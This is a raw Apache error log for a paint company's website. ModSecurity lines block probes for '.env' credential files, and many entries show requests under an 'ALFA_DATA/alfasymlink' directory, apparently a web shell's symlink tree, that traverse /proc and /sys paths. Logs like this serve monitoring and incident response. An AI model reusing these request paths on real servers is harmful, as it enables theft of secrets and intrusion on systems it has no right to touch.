[Mon Oct 26 00:34:00.370979 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at7YOBNY8krM563TMfK99gAAABI"]
[Mon Oct 26 00:34:00.371460 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at7YOBNY8krM563TMfK99gAAABI"]
[Mon Oct 26 00:34:00.371739 2026] [security2:error] [pid 2961886:tid 2961886] [client 34.80.157.212:46992] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at7YOBNY8krM563TMfK99gAAABI"]
[Mon Oct 26 00:34:00.371740 2026] [security2:error] [pid 2963515:tid 2963515] [client 34.80.157.212:47060] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at7YOJ9QiYN0YR7lud-V6wAAAAk"]
[Mon Oct 26 00:34:00.372525 2026] [security2:error] [pid 2963515:tid 2963515] [client 34.80.157.212:47060] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at7YOJ9QiYN0YR7lud-V6wAAAAk"]
[Mon Oct 26 00:34:00.372947 2026] [security2:error] [pid 2963515:tid 2963515] [client 34.80.157.212:47060] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at7YOJ9QiYN0YR7lud-V6wAAAAk"]
[Mon Oct 26 00:34:00.437869 2026] [security2:error] [pid 2963509:tid 2963509] [client 34.80.157.212:47022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at7YOIrtMcRnACiJsTjM8gAAAAI"]
[Mon Oct 26 00:34:00.438257 2026] [security2:error] [pid 2963509:tid 2963509] [client 34.80.157.212:47022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at7YOIrtMcRnACiJsTjM8gAAAAI"]
[Mon Oct 26 00:34:00.438542 2026] [security2:error] [pid 2963509:tid 2963509] [client 34.80.157.212:47022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at7YOIrtMcRnACiJsTjM8gAAAAI"]
[Mon Oct 26 00:34:00.439166 2026] [security2:error] [pid 2963513:tid 2963513] [client 34.80.157.212:47026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at7YOIryX0okYka9dURc_wAAAAc"]
[Mon Oct 26 00:34:00.439697 2026] [security2:error] [pid 2963513:tid 2963513] [client 34.80.157.212:47026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at7YOIryX0okYka9dURc_wAAAAc"]
[Mon Oct 26 00:34:00.440111 2026] [security2:error] [pid 2963513:tid 2963513] [client 34.80.157.212:47026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at7YOIryX0okYka9dURc_wAAAAc"]
[Mon Oct 26 00:34:00.663790 2026] [security2:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_baja-california_1.html"] [unique_id "at7YOKNncdtu7DBDOKsCDwAAABs"]
[Mon Oct 26 00:34:00.663841 2026] [security2:error] [pid 2961902:tid 2961902] [client 34.80.157.212:46980] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_baja-california_1.html"] [unique_id "at7YOKNncdtu7DBDOKsCDwAAABs"]
[Mon Oct 26 00:34:03.405567 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/api-docs"] [unique_id "at7YOxI7Pq_EK1Ick-P9gAAAACQ"]
[Mon Oct 26 00:34:03.405618 2026] [security2:error] [pid 2961911:tid 2961911] [client 34.80.157.212:46994] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/api-docs"] [unique_id "at7YOxI7Pq_EK1Ick-P9gAAAACQ"]
[Mon Oct 26 00:34:04.105896 2026] [ssl:error] [pid 2963585:tid 2963585] (70014)End of file found: [client 3.215.221.125:10281] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:05.996467 2026] [core:error] [pid 2963581:tid 2963581] (13)Permission denied: [client 185.191.171.17:37546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/remote_node_defrag_ratio
[Mon Oct 26 00:34:06.649384 2026] [core:error] [pid 2963576:tid 2963576] (13)Permission denied: [client 18.214.238.178:38941] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/physical_node/subsystem/drivers/shpchp/remove_id
[Mon Oct 26 00:34:10.616431 2026] [ssl:error] [pid 2963594:tid 2963594] (70014)End of file found: [client 34.227.234.246:59682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:18.497131 2026] [ssl:error] [pid 2963400:tid 2963400] (70014)End of file found: [client 98.84.70.201:27149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:22.488537 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 54.198.33.233:54259] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:26.476927 2026] [ssl:error] [pid 2963515:tid 2963515] (70014)End of file found: [client 35.172.125.172:32743] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:31.074907 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 18.214.251.19:20589] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:34.759691 2026] [ssl:error] [pid 2963509:tid 2963509] (70014)End of file found: [client 3.210.223.61:20889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:38.495701 2026] [ssl:error] [pid 2963594:tid 2963594] (70014)End of file found: [client 44.223.115.10:7361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:46.494412 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 54.84.102.81:40375] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:50.810091 2026] [ssl:error] [pid 2963515:tid 2963515] (70014)End of file found: [client 54.91.122.193:8657] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:54.606962 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 34.205.170.13:8847] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:58.576365 2026] [ssl:error] [pid 2963509:tid 2963509] (70014)End of file found: [client 98.84.70.201:60881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:34:59.201760 2026] [core:error] [pid 2963594:tid 2963594] (13)Permission denied: [client 185.191.171.14:40970] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/hwcache_align
[Mon Oct 26 00:35:06.909403 2026] [ssl:error] [pid 2963400:tid 2963400] (70014)End of file found: [client 18.235.158.19:22036] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:35:10.532224 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 23.21.204.95:22106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:35:18.526317 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 3.227.180.70:30326] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:35:34.528784 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 54.84.147.79:37090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/uhci_hcd/0000:00:01.2/usb1/remove
[Mon Oct 26 00:35:38.573725 2026] [ssl:error] [pid 2963593:tid 2963593] (70014)End of file found: [client 52.204.253.129:19818] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:35:42.649897 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 107.20.224.184:53848] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:35:46.621855 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 98.82.214.73:5409] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:35:46.622098 2026] [security2:error] [pid 2963547:tid 2963547] [client 98.82.214.73:5409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory7/power/runtime_suspended_time"] [unique_id "at7YoipxD_ePIrQKavKh6AAAAC0"]
[Mon Oct 26 00:35:46.622134 2026] [security2:error] [pid 2963547:tid 2963547] [client 98.82.214.73:5409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory7/power/runtime_suspended_time"] [unique_id "at7YoipxD_ePIrQKavKh6AAAAC0"]
[Mon Oct 26 00:35:52.458058 2026] [core:error] [pid 2948938:tid 2948938] (13)Permission denied: [client 185.191.171.8:10716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-64/total_objects
[Mon Oct 26 00:35:54.552412 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 52.45.29.57:50999] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:35:58.837633 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 44.195.145.102:54753] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:02.712324 2026] [core:error] [pid 2963593:tid 2963593] (13)Permission denied: [client 44.214.19.8:30958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource1
[Mon Oct 26 00:36:06.684966 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 184.73.195.18:37191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:10.756496 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 34.225.87.80:53802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:11.448663 2026] [proxy_fcgi:error] [pid 2963511:tid 2963511] [client 146.70.194.230:37572] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 00:36:14.636012 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 18.214.124.6:39070] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:18.877436 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 44.215.61.66:11907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:23.242970 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 54.225.148.123:47590] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:26.609916 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 54.147.182.90:36762] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:26.956283 2026] [ssl:error] [pid 2963511:tid 2963511] (70014)End of file found: [client 185.191.171.16:59916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:30.767924 2026] [ssl:error] [pid 2963511:tid 2963511] (70014)End of file found: [client 54.147.182.90:18948] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:33.342270 2026] [security2:error] [pid 2949650:tid 2949650] [client 107.172.76.131:51036] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7YxfLa-Z693QtLWwrGzQAAABQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 00:36:33.342321 2026] [security2:error] [pid 2949650:tid 2949650] [client 107.172.76.131:51036] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7YxfLa-Z693QtLWwrGzQAAABQ"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 00:36:34.438465 2026] [core:error] [pid 2963594:tid 2963594] (13)Permission denied: [client 185.191.171.14:28586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/object_size
[Mon Oct 26 00:36:37.598470 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 85.208.96.203:35348] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/total_objects
[Mon Oct 26 00:36:46.673718 2026] [ssl:error] [pid 2963594:tid 2963594] (70014)End of file found: [client 54.164.106.236:60857] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:36:50.645665 2026] [core:error] [pid 2963792:tid 2963792] (13)Permission denied: [client 100.24.167.60:51695] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/rom
[Mon Oct 26 00:36:54.784251 2026] [core:error] [pid 2963511:tid 2963511] (13)Permission denied: [client 18.214.186.220:53486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/free_calls
[Mon Oct 26 00:37:02.799622 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 18.215.112.101:10754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:37:22.717664 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 52.45.15.233:57723] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:37:26.650319 2026] [ssl:error] [pid 2963593:tid 2963593] (70014)End of file found: [client 3.94.156.104:61545] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:37:30.955634 2026] [ssl:error] [pid 2963594:tid 2963594] (70014)End of file found: [client 52.2.58.41:38561] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:37:34.820503 2026] [ssl:error] [pid 2963511:tid 2963511] (70014)End of file found: [client 44.213.36.21:60075] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:37:38.824320 2026] [ssl:error] [pid 2963543:tid 2963543] (70014)End of file found: [client 98.83.177.42:44790] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:37:46.663712 2026] [ssl:error] [pid 2963593:tid 2963593] (70014)End of file found: [client 34.196.6.199:16335] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:37:54.949584 2026] [ssl:error] [pid 2963792:tid 2963792] (70014)End of file found: [client 3.211.105.134:23960] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:38:06.773040 2026] [ssl:error] [pid 2963593:tid 2963593] (70014)End of file found: [client 35.169.119.108:48373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:38:22.825863 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 98.84.200.43:45811] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:38:26.839965 2026] [ssl:error] [pid 2963593:tid 2963593] (70014)End of file found: [client 52.0.218.219:62185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:38:42.744865 2026] [core:error] [pid 2963511:tid 2963511] (13)Permission denied: [client 52.200.142.199:7429] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource0
[Mon Oct 26 00:38:46.966836 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 34.225.87.80:29373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:38:50.748310 2026] [ssl:error] [pid 2963593:tid 2963593] (70014)End of file found: [client 52.204.89.12:57498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:38:55.014585 2026] [core:error] [pid 2963792:tid 2963792] (13)Permission denied: [client 98.82.59.253:3146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/pcieport/new_id
[Mon Oct 26 00:38:59.359750 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 34.226.89.140:7675] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:07.025273 2026] [core:error] [pid 2963512:tid 2963512] (13)Permission denied: [client 52.71.216.196:47903] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/cirrus/uevent
[Mon Oct 26 00:39:10.901936 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 52.70.209.13:45615] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:16.912605 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 185.191.171.9:11238] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:18.867935 2026] [ssl:error] [pid 2963583:tid 2963583] (70014)End of file found: [client 34.230.124.21:43088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:30.921770 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 34.195.248.30:47542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:32.531941 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 185.191.171.12:23018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/poison
[Mon Oct 26 00:39:34.977186 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 52.7.33.248:48639] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:39.100204 2026] [ssl:error] [pid 2963583:tid 2963583] (70014)End of file found: [client 23.23.212.212:59855] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:43.042783 2026] [ssl:error] [pid 2963537:tid 2963537] (70014)End of file found: [client 44.221.227.90:64046] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:46.919529 2026] [ssl:error] [pid 2961902:tid 2961902] (70014)End of file found: [client 54.84.93.8:3275] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:58.187337 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 85.208.96.200:58426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/remote_node_defrag_ratio
[Mon Oct 26 00:39:58.845684 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 3.224.205.25:60635] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:39:58.845923 2026] [security2:error] [pid 2963523:tid 2963523] [client 3.224.205.25:60635] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty30/subsystem/ttyS0/subsystem/tty0/dev"] [unique_id "at7ZnsVpa646XWXolcwADwAAABg"]
[Mon Oct 26 00:39:58.845955 2026] [security2:error] [pid 2963523:tid 2963523] [client 3.224.205.25:60635] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty30/subsystem/ttyS0/subsystem/tty0/dev"] [unique_id "at7ZnsVpa646XWXolcwADwAAABg"]
[Mon Oct 26 00:40:07.056714 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 3.212.205.90:48125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:40:14.961391 2026] [ssl:error] [pid 2963583:tid 2963583] (70014)End of file found: [client 54.90.244.132:54470] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:40:27.321573 2026] [core:error] [pid 2963537:tid 2963537] (13)Permission denied: [client 100.28.204.82:24862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/module/uevent
[Mon Oct 26 00:40:31.254843 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 52.204.89.12:2794] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:40:51.073253 2026] [ssl:error] [pid 2961884:tid 2961884] (70014)End of file found: [client 54.197.178.107:56839] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:40:55.124702 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.225.81.20:48121] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:41:03.021419 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.45.194.165:53161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:41:07.165599 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.94.156.104:48495] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:41:11.174019 2026] [security2:error] [pid 2963583:tid 2963583] [client 54.197.82.195:57432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/subsystem/wakeup0/device/wakeup/"] [unique_id "at7Z50dVqvuz7kq4IsbDoAAAAEQ"]
[Mon Oct 26 00:41:11.174072 2026] [security2:error] [pid 2963583:tid 2963583] [client 54.197.82.195:57432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/subsystem/wakeup0/device/wakeup/"] [unique_id "at7Z50dVqvuz7kq4IsbDoAAAAEQ"]
